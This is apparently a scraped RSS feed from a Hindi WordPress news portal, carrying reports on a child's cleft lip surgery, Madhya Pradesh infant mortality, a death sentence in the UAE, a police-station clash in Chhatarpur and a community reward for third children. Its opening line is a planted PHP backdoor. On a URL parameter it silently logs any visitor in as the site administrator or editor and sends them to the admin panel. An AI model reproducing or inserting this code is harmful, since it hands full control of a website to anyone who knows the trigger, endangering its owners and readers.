// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); child – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 17 Mar 2026 05:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 जब चिरायु टीम बनी एक परिवार की उम्मीद, जन्मजात विकृति से जूझ रहे बच्चे को मिला नया जीवन https://pratyushaashakinayikiran.com/?p=205457 Tue, 17 Mar 2026 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=205457 जब चिरायु टीम बनी एक परिवार की उम्मीद, जन्मजात विकृति से जूझ रहे बच्चे को मिला नया जीवन

बिलासपुर
छह महीने पहले जन्मे एक नन्हे बच्चे के चेहरे पर मुस्कान लाना उसके माता-पिता के लिए किसी सपने से कम नहीं था। जन्म से ही कटा-फटा होंठ और तालू (क्लैफ्ट लिप एवं पैलेट) की समस्या के कारण वह अपनी माँ का दूध भी ठीक से नहीं पी पा रहा था। आर्थिक रूप से कमजोर परिवार के लिए यह चिंता और बेबसी का समय था। ऐसे में राष्ट्रीय बाल स्वास्थ्य कार्यक्रम (आरबीएसके) की चिरायु टीम उनके लिए उम्मीद बनकर सामने आई और आज उसी बच्चे के चेहरे पर सामान्य मुस्कान लौट आई है। मुख्यमंत्री श्री विष्णु देव साय के नेतृत्व में राज्य में बेहतर चिकित्सा सुविधा मुहैय्या कराई जा रही है।

    लगभग छह माह पूर्व प्राथमिक स्वास्थ्य केंद्र सीपत में जन्मे इस बच्चे को जन्मजात विकृति के कारण स्तनपान करने में कठिनाई हो रही थी। आरबीएसके टीम ने बच्चे और उसके माता-पिता से लगातार संपर्क बनाए रखा और उन्हें इस बीमारी के उपचार के बारे में विस्तार से जानकारी दी। करीब छह महीनों तक टीम द्वारा बच्चे का नियमित फॉलो-अप लिया गया। इस दौरान उसके वजन, ऊँचाई और सामान्य स्वास्थ्य की जांच की जाती रही तथा आवश्यक दवाइयाँ भी उपलब्ध कराई गईं। टीम ने परिवार को भरोसा दिलाया कि ऑपरेशन के माध्यम से बच्चे का उपचार संभव है। बाद में आरबीएसके टीम के सहयोग से स्माइल ट्रेन संस्था के माध्यम से बिलासपुर के लाडिगर अस्पताल में बच्चे का ऑपरेशन कराया गया, जो सफल रहा। ऑपरेशन के बाद बच्चा स्वस्थ है और परिवार अपने बच्चे को सामान्य रूप से देखकर बेहद खुश है।

    राष्ट्रीय बाल स्वास्थ्य कार्यक्रम के तहत आरबीएसके मोबाइल हेल्थ टीम द्वारा स्कूलों, आंगनबाड़ियों, मदरसों और छात्रावासों में जाकर 0 से 18 वर्ष तक के बच्चों का स्वास्थ्य परीक्षण किया जाता है। प्रत्येक बच्चे का हेल्थ कार्ड बनाया जाता है, जिसमें उसकी पूरी स्वास्थ्य जानकारी दर्ज रहती है। कार्यक्रम के अंतर्गत सामान्य बीमारियों के लिए दवाइयाँ उपलब्ध कराई जाती हैं, जबकि जटिल बीमारियों वाले बच्चों को उच्च चिकित्सा केंद्र में रेफर कर उपचार कराया जाता है। इसके लिए चिरायु वाहन की सुविधा भी उपलब्ध है। छत्तीसगढ़ में वर्ष 2014 से संचालित यह कार्यक्रम “चिरायु” नाम से भी जाना जाता है। यह योजना बच्चों के स्वास्थ्य संरक्षण और उनके उज्ज्वल भविष्य के लिए महत्वपूर्ण भूमिका निभा रही है। अपने बच्चे को स्वस्थ देखकर परिवार ने राहत की सांस ली है। माता-पिता का कहना है कि यदि समय पर चिरायु टीम का सहयोग नहीं मिलता तो उनके लिए इलाज कराना संभव नहीं था। आज उनके बच्चे के चेहरे पर लौटी मुस्कान ही उनके लिए सबसे बड़ी खुशी है।
 

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एमपी मातृ और शिशु स्वास्थ्य के मामले में देश के सबसे पीछे रहने वाला राज्य https://pratyushaashakinayikiran.com/?p=166873 Fri, 27 Jun 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=166873 भोपाल

 प्रदेश में शिशु मृत्यु दर (आइएमआर) दो वर्षों में 43 से घटकर 40 प्रति हजार जीवित जन्म हो गई है। हालांकि, यह मामूली गिरावट है और प्रदेश अब भी देश में सबसे अधिक आइएमआर वाला राज्य बना हुआ है। गांव में स्थिति ज्यादा खराब है, जहां आइएमआर 43 है, जबकि शहरों में यह घटकर 28 रह गई है। बिहार, महाराष्ट्र में इस दर में तेज गिरावट आई है। इन राज्यों ने कुशल प्रसव और अच्छी पोषण नीति के जरिए सुधार किया है। इसका खुलासा रजिस्ट्रार जनरल ऑफ इंडिया द्वारा  जारी एसआरएस बुलेटिन 2022 में हुआ।

IMR 2013 में 53 और 2022 में 40 भारत सरकार के रजिस्ट्रार जनरल कार्यालय द्वारा हाल में जारी सैंपल रजिस्ट्रेशन सिस्टम (SRS) की 2022 रिपोर्ट के अनुसार, मध्यप्रदेश में शिशु मृत्यु दर (IMR) 40 दर्ज की गई है। वहीं, देश की IMR 26 है। पिछले दशक के रुझानों पर गौर करें तो, 2013 में भारत का IMR 40 था जो 2022 तक घटकर 26 हो गया। यानी, भारत ने 35% की कमी आई। वहीं, मध्यप्रदेश का IMR 2013 में लगभग 53 था और 2022 में 40 पर आया। इससे साफ है कि मध्यप्रदेश की प्रगति धीमी और पिछड़ी हुई है।

हाल ही में राजधानी में हुए एक कार्यक्रम में उप मुख्यमंत्री राजेंद्र शुक्ल ने इस विषय पर डॉक्टरों और विभाग के अधिकारियों को इन आंकड़ों को गंभीरता से लेने के लिए कहा था। उन्होंने कहा कि आंकड़ों में सुधार आया है, यह अच्छी बात है। लेकिन, अभी लक्ष्य बहुत दूर है। इसके लिए सभी हर संभव प्रयास करें।

मध्य प्रदेश में कुल मेल शिशु मृत्यु दर (IMR) 39 है, जबकि फीमेल शिशु मृत्यु दर (IMR) 40 है। इसका अर्थ है कि प्रति एक हजार जीवित जन्मों पर लड़कों की तुलना में एक अधिक लड़की की मृत्यु हो रही है। ग्रामीण क्षेत्रों में मेल शिशु मृत्यु दर 42 और फीमेल शिशु मृत्यु दर 44 है। वहीं, शहर में मेल शिशु मृत्यु दर 28 और फीमेल शिशु मृत्यु दर 27 है।

देश, राज्य और वैश्विक स्तर पर IMR की तुलना

  •     उत्तरप्रदेश और छत्तीसगढ़ का IMR भी 38 है, जो मध्यप्रदेश से थोड़ा बेहतर, लेकिन फिर भी गंभीर स्थिति में है।
  •     ओडिशा का IMR 32 है, जो उच्च IMR वाले राज्यों में से एक है।
  •     केरल 7 और तमिलनाडु 11 IMR के साथ शिशुओं की देखभाल में बेहतर स्थिति पर हैं।
  •     वैश्विक स्तर पर तुलना करने पर, मध्यप्रदेश का IMR 40 है। वहीं, बांग्लादेश में 25 है। यानी बांग्लादेश भी हम से आगे।
  •     दक्षिण एशियाई देशों में केवल पाकिस्तान (IMR 55) को छोड़कर, पिछड़े हुए हैं।

देश का MMR औसत आधा इधर, SRS मैटरनल बुलेटिन 2020-22 के अनुसार, मध्यप्रदेश में मातृ मृत्यु दर (MMR) 159 है। जबकि भारत का औसत MMR 88 है। मध्यप्रदेश का IMR-MMR देश के औसत से लगभग दोगुना है। जो इसे सबसे खराब प्रदर्शन करने वाला राज्य बनाता है।

देश और राज्यों से MMR की तुलना

  •     उत्तरप्रदेश और छत्तीसगढ़ का MMR भी 141 है, जो मध्यप्रदेश से थोड़ा बेहतर, लेकिन फिर भी गंभीर स्थिति में है।
  •     ओडिशा का MMR 136 है, जो उच्च MMR वाले राज्यों में से एक है।
  •     वहीं, केरल 18 और महाराष्ट्र 36 MMR के साथ मातृ देखभाल में बेहतर मॉडल प्रस्तुत करते हैं।

सरकार हर मौत की तय कर रही जबावदेही वरिष्ठ स्त्री रोग विशेषज्ञ और MDSR मेंबर डॉ. प्रिया भावे चित्तावर ने बताया कि सरकार और NHM (नेशनल हेल्थ मिशन) बीते कुछ सालों से MDSR यानी मेटर्नल डेथ स्टेट रिव्यू सिस्टम बनाया है। इसकी समय-समय में बैठक आयोजित की जाती है। जिसमें विभाग के वरिष्ठ अधिकारी, चयनित सरकारी और निजी अस्पताल की स्त्री रोग विशेषज्ञ, सीएमएचओ से लेकर आशा कार्यकर्ता तक जुड़ती हैं।

इसमें हर मौत पर चर्चा होती है। यह पता करने पर फोकस रहता है कि गर्भवती की मौत के पीछे का कारण क्या था और इसे सुधारने के लिए क्या कदम उठाए जाएं। यह पूरी मीटिंग को ऑन रिकॉर्ड रहती है। जिससे पुरानी गलती यदि दोबारा सामने आए तो संबंधित के विरुद्ध कार्रवाई हो। सरकार इस विषय को लेकर बेहद गंभीर है।

ये प्रयास हुए, वो भी नाकाफी साबित रहे

● शिशुओं की देखभाल के लिए त्रिस्तरीय प्रणाली पर काम।

● 62 सिक न्यूबोर्न केयर यूनिट (एनएनसीयू) क्रियाशील।

● 199 न्यूबोर्न स्टेबिलाइजिंग यूनिट (एनबीएसयू)।
● प्रसव केंद्रों पर न्यूबोर्न केयर कॉर्नर और जिला अस्पतालों में पीआइसीयू बनी।

● शिशु स्वास्थ्य संस्थानों में मुस्कान कार्यक्रम चला।

बिहार-महाराष्ट्र ने ऐसे कम किया आइएमआर

बिहार, महाराष्ट्र आदि राज्यों ने जन्म के समय कुशल प्रसव, अच्छी प्रसवोत्तर देखभाल, स्तनपान और पर्याप्त पोषण, टीकाकरण और सामान्य बाल्यावस्था रोगों के उपचार जैसे बुनियादी जीवनरक्षक उपायों तक आसान पहुंच सुनिश्चित कर अपने यहां आइएमआर घटाई है। खासतौर पर ग्रामीण क्षेत्रों में सेवाओं के विस्तार पर ध्यान दिया गया।

गांव में अब भी ये सुधार जरूरी
– उप स्वास्थ्य केन्द्रों पर हेल्थ एंड वेलनेस सेंटर बना कम्युनिटी हेल्थ ऑफिसर की नियुक्ति हो।
– हर जिले में कम से कम 5 सीएचसी को फर्स्ट रेफरल यूनिट बनाया जाना चाहिए।

– गायनिक और शिशु रोग विशेषज्ञों की नियुक्ति नहीं हो पाने के कारण अभी एफआरयू नहीं बन पाई हैं।
– प्रदेश में एसएनसीयू और एनबीएसयू की संख्या भी बढ़ाने की जरूरत है।

डॉ. चित्तावर के अनुसार, गर्भवती और परिवार इन बातों का रखें ध्यान

    गर्भावस्था के 7वें – 8वें माह में महिलाओं को बाहर नहीं निकलने दिया जाता है। जबकि, इस समय में नियमित जांच सबसे जरूरी होती है।

    यह मानना कि गर्भावस्था एक आम स्थिति है। जब दर्द हो सिर्फ तभी अस्पताल जाना है। यह पूरी तरह से गलत है।

    हाई रिस्क फैक्टर की समय से पहचान जरूरी है। इसमें हाई बीपी, शुगर, एनीमिया जैसी स्थिति शामिल हैं। इसके लिए जरूरी है कि गर्भवती महिला की नियमित जांच कराई जाए।

    खान पान का विशेष ध्यान रखें। पसंद और ना पंसद को छोड़ महिलाएं पोषण पर विशेष ध्यान दें। हरी सब्जी, दाल, मिलेट्स और दूध का सेवन जरूर करना है। इनमें आयरन की मात्रा अच्छी होती है, जिससे खून की कमी नहीं होती है।

नवजात को इन्फेक्शन से बचाना सबसे जरूरी शिशु रोग विशेषज्ञ डॉ. भूपेंद्र कुमार गुप्ता ने बताया कि छोटे बच्चों की देखभाल के लिए कुछ बातों का जरूर ध्यान रखना चाहिए। इसमें बच्चे को सही समय पर फीडिंग कराना जरूरी है। उसे इन्फेक्शन से बचाने के लिए साफ सफाई पर विशेष ध्यान देना है। उसके शरीर का तापमान सही रखना है। अधिक गर्म या ठंडे पानी से नहीं नहलाना है। कोई भी गुट्‌ठी, मधुरस जैसी चीजें बिना डॉक्टर की सलाह के नहीं पिलाना है।

क्या है जरूरी हस्तक्षेप

    प्राथमिक स्वास्थ्य केंद्रों का मजबूतीकरण।
    प्रसव पूर्व और पश्चात देखरेख में सुधार।
    पोषण, टीकाकरण और मातृ स्वास्थ्य सेवाओं की सतत निगरानी।
    ग्रामीण क्षेत्रों में आशा कार्यकर्ताओं को अधिक संसाधन।
    जनजागरूकता अभियानों को गांव स्तर तक पहुंचा।

स्वास्थ्य एवं लोक चिकित्सा विभाग उठा रहा यह कदम

    ग्रामीण क्षेत्रों में प्रशिक्षित डॉक्टरों की संख्या बढ़ाना।
    सभी महिलाओं के लिए अनिवार्य ANC विजिट सुनिश्चित करना।
    समय पर रेफरल और एम्बुलेंस सेवाओं को और मजबूत करना।
    ब्लॉक स्तर पर समर्पित मातृ स्वास्थ्य केंद्रों की स्थापना।
    स्वास्थ्य कर्मियों के प्रशिक्षण और ट्रैकिंग सिस्टम को पारदर्शी बनाना।

(स्वास्थ्य विभाग के सेवानिवृत्त संचालक डॉ. पंकज शुक्ला के अनुसार।)

स्रोत- एसआरएस बुलेटिन 2022, आंकड़े प्रति हजार जीवित जन्म में।

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बांदा की शहजादी को आज अबू धाबी जेल में फांसी दी जाएगी https://pratyushaashakinayikiran.com/?p=131778 Sun, 16 Feb 2025 10:05:00 +0000 https://pratyushaashakinayikiran.com/?p=131778  बांदा

उत्तर प्रदेश के बांदा जिले की रहने वाली शहजादी को एक बच्चे की मौत के जुर्म में दुबई की अदालत ने फांसी की सजा सुनाई है. शहजादी ने फोन करके अपने परिजनों को पूरी बात बताई, जिसके बाद उसके माता-पिता के आंसू रुकने का नाम नहीं ले रहे हैं. माता-पिता अब देश के प्रधानमंत्री नरेंद्र मोदी और विदेश मंत्री एस जयशंकर से मामले में हस्तक्षेप कर भारत की बेटी की जान बचाए जाने की गुहार लगा रहे हैं.

दुबई की जेल में बंद कैदी शहजादी ने फोन कॉल पर पिता को बताया, ''अब्बू यह मेरी आखिरी कॉल है. मुझे अब दूसरे कमरे में शिफ्ट कर दिया गया है. हो सकता है कि अब मैं आपको दोबारा फोन न कर सकूं.'' शहजादी के फोन के बाद बुजुर्ग माता-पिता का रो रोकर बुरा हाल है. उन्होंने शहजादी से बातचीत का ऑडियो भी शेयर किया है.'

बता दें कि बांदा के मटौंध थाना इलाके के गोयरा मुगली गांव की रहने वाली शहजादी को फेसबुक के जरिए आगरा के रहने वाले एक उजैर नाम के युवक ने बहला फुसलाकर प्रेम जाल में फंसाया. इसके बाद उसे 2021 में चेहरे की प्लास्टिक सर्जरी कराने की बात कहकर दुबई अपने रिश्तेदारों के पास भेज दिया.

शहजादी जिस घर में रुकी थी, अचानक एक दिन उनके बच्चे की तबीयत बिगड़ी और उसकी मौत हो गई. इसके करीब दो महीने होने के बाद मृतक बच्चे के माता-पिता ने शहजादी को अपने बच्चे की मौत का दोषी ठहराया और हत्या के आरोप में लगाया. जांच के बाद दुबई की अदालत ने युवती शहजादी फांसी की सजा सुनाई थी. जिसके बाद शहजादी अब अल्बतवा जेल में कैद है. इधर उसके बुजुर्ग माता-पिता बेटी की जान बचाने की गुहार लगा रहे है. बीते दिन ही शहजादी के फोन कॉल ने उनकी नींद उड़ा दी है.

शहजादी के पिता सब्बीर ने बताया कि शनिवार देर रात करीब 12 बजे शहजादी का फोन आया. उसने बताया कि अब्बू मेरा आखिरी समय है. मुझे अलग कमरे में रख दिया गया है. वहां कैद लोगों ने कहा कि शहजादी घर में कॉल कर लो, वरना ये लोग अब आगे नहीं करने देंगे.

पिता ने कहा, ''मैं भारत सरकार गुजारिश करता हूं कि बेटी को बचाया जाए. हमे उसके फोन के बाद से कोई सूचना नहीं है. शहजादी को आज शाम तक या सुबह फांसी हो गई होगी. मेरी करीब 10 मिनट बात हुई है. पहली बार उसने इतनी बात की. वरना 7 मिनट से ज्यादा कभी बात नहीं हुई. पहले बात हो जाती थी. मामला शांत हो गया था. अचानक उसको फांसी की सजा दी जा रही है. मेरी लड़की बेकसूर है. उसे जबरन फंसाया जा रहा है. पिछले दो साल से दुबई की जेल में बंद है. मैंने राष्ट्रपति, प्रधानमंत्री, विदेश मंत्रालय हर जगह जा जाकर बेटी को बचाने की गुहार लगाई है. जिनके घर में हमारी बेटी शहजादी रहती थी, उनका नाम नाजिया और फैज है.''

 

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छतरपुर में नन्हे हाथों में बड़ा सा चाकू, थाने पर हमले के वक्त दिखे बच्चे का VIDEO वायरल https://pratyushaashakinayikiran.com/?p=63279 Fri, 23 Aug 2024 14:06:00 +0000 https://pratyushaashakinayikiran.com/?p=63279  छतरपुर

मध्य प्रदेश के छतरपुर जिले में बुधवार को शहर के कोतवाली पर हुए पथराव के बाद शहर में लॉ एंड आर्डर की स्थिति चरमरा गई थी। गनीमत यह रही कि छतरपुर के एसपी अगम जैन ने स्थिति को संभाल लिया। इस बीच सोशल मिडिया पर एक 8 साल के मासूम बच्चे का वीडियो वायरल हो रही है।

वायरल वीडियो में 8 साल के बच्चे के सिर पर टोपी और हाथों में एक बड़ा सा चाकू है। यह बच्चा भी मुस्लिम समुदाय की उसी भीड़ में शामिल था जो बुधवार को कोतवाली में प्रदर्शन और पथराव कर रहे थे। सवाल है कि इस मासूम के हाथों में यह बड़ा सा चाकू किसने दिया। बच्चे को लेकर वहां कौन आया था।

वीडियो में बच्चा हाथ में बड़ा सा चाकू लहराता हुआ दिखाई दे रहा है। अगर उसके परिजन उसे कोतवाली लेकर आए तो उसके हाथ में यह बड़ा सा चाकू किसने और क्यों दिया।पुलिस अब वायरल फोटो में दिखाई दे रहे मासूम और उसके हाथ में बड़ा सा चाकू किसने दिया इस बात का पता लगाने में लग गई है। छतरपुर एसपी अगम जैन भी इस मामले में गंभीरता दिखाते हुए जांच के आदेश दिए हैं और जल्द ही आरोपी पर कार्रवाई करने की बात कह रहे हैं।

मासूम से बच्चे के हाथ में बड़ा सा चाकू वाला फोटो और वीडियो अब सोशल मीडिया पर तेजी से वायरल हो रहा है। सवाल यह है कि किसी मासूम की हाथों में चाकू देकर कोई क्या साबित करना चाहता था। आखिर इस तरह से बच्चों को आगे कर क्या योजना बनाई जा रही थी। जानकारी के अनुसार मुस्लिम समुदाय कोतवाली के अंदर जो प्रदर्शन कर रहा था, उसमें बड़ी संख्या में नाबालिग लड़के नशे में थे। साथ ही कई अपराधी प्रवृत्ति के लोग भी प्रदर्शन में शामिल थे। पथराव के दौरान एडिशनल एसपी विक्रम सिंह परिहार, कोतवाली थाना प्रभारी अरविंद कुजूर एवं दो अन्य सिपाही घायल हुए थे।

पुलिस ने बचाव में अपने पक्ष से भी पत्थरबाजी की। साथ ही हवाई फायरिंग करनी पड़ी तब जाकर प्रदर्शनकारियों को कंट्रोल किया जा सका। हालांकि गुरुवार को छतरपुर पुलिस ने इस मामले में मुख्य आरोपी बनाए गए हाजी शहजाद अली का आलीशान मकान गिराकर एक सीधा और सपाट संदेश दिया है कि इस तरह की साजिश या लापरवाही या पुलिस के साथ बदतमीजी करने वालों के खिलाफ पुलिस सख्ती से निपटने के लिए तैयार है। पुलिस हाथ में चाकू लिए बच्चे की इस वायरल वीडियो की पड़ताल में लगी है और जल्द ही इस मामले में खुलासा करेगी।

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तीसरा बच्चा पैदा करने पर मिलेंगे ₹51 हजार, इस समाज का ऐलान https://pratyushaashakinayikiran.com/?p=63233 Fri, 23 Aug 2024 10:35:00 +0000 https://pratyushaashakinayikiran.com/?p=63233 भोपाल   
   
समाज के जिस दंपती के यहां तीसरी संतान जन्म लेगी, उसे 51 हजार रुपए का इनाम दिया जाएगा और समाज के कार्यक्रमों में उन्हें सम्मानित भी किया जाएगा. यह ऐलान माहेश्वरी समाज ने किया है. राजस्थान के किशनगढ़ में हुए राष्ट्रीय सम्मेलन में यह फैसला लिया गया.

अखिल भारतीय माहेश्वरी समाज के कार्यकारी सदस्य रमेश माहेश्वरी ने बताया कि सर्वे कराने पर जानकारी मिली है कि अभी समाज की आबादी घटकर 8 लाख तक आ गई है. जबकि पहले 15-16 लाख तक थी. इसलिए फैसला लेना पड़ा ताकि समाज की आबादी एक बार फिर बढ़ सके.

कार्यकारी सदस्य रमेश माहेश्वरी के मुताबिक, पहले की तुलना में अब परिवार में सिंगल चाइल्ड या ज्यादा से ज्यादा 2 बच्चों का कॉन्सेप्ट आ गया है.वहीं, आधुनिक सोच के चलते अब जब पति-पत्नी दोनों जॉब कर रहे हैं तो बड़ा परिवार चलाना संभव नहीं. यह भी समाज की आबादी घटने की एक बड़ी वजह है.

अखिल भारतीय माहेश्वरी समाज के कार्यकारी सदस्य रमेश माहेश्वरी ने बताया कि सर्वेक्षण के अनुसार, समाज की वर्तमान जनसंख्या घटकर 8 लाख रह गई है, जबकि पहले यह 15-16 लाख तक थी। इस निर्णय का उद्देश्य समाज की आबादी को फिर से बढ़ाना है। रमेश माहेश्वरी ने बताया कि तीसरा बच्चा पैदा करने वाले पति-पत्नी को सिर्फ FD ही नहीं दी जाएगी, बल्कि समाज में विशेष सम्मान दिया जाएगा। समाज के कार्यक्रमों में दीप प्रज्वलित भी कराया जाएगा और मंच पर जगह दी जाएगी।

अखिल भारतवर्षीय माहेश्वरी महासभा की कार्य समिति के सदस्य रमेश माहेश्वरी ने कहा कि माहेश्वरी समाज उद्योग जगत से जुड़ा है। समाज सेवा के काम करता है। तीर्थ स्थलों पर धर्मशाला बनवाने सहित अनेक कार्य किए गए हैं। देशवासियों की सेवा के लिए भी समाज कार्य करता है. रमेश माहेश्वरी ने कहा कि हमने अपने सर्वे में पाया कि हमारे समाज की संख्या काफी तेजी से गिरी है. इसी को ध्यान में रखते हुए ये फैसला लिया गया है।

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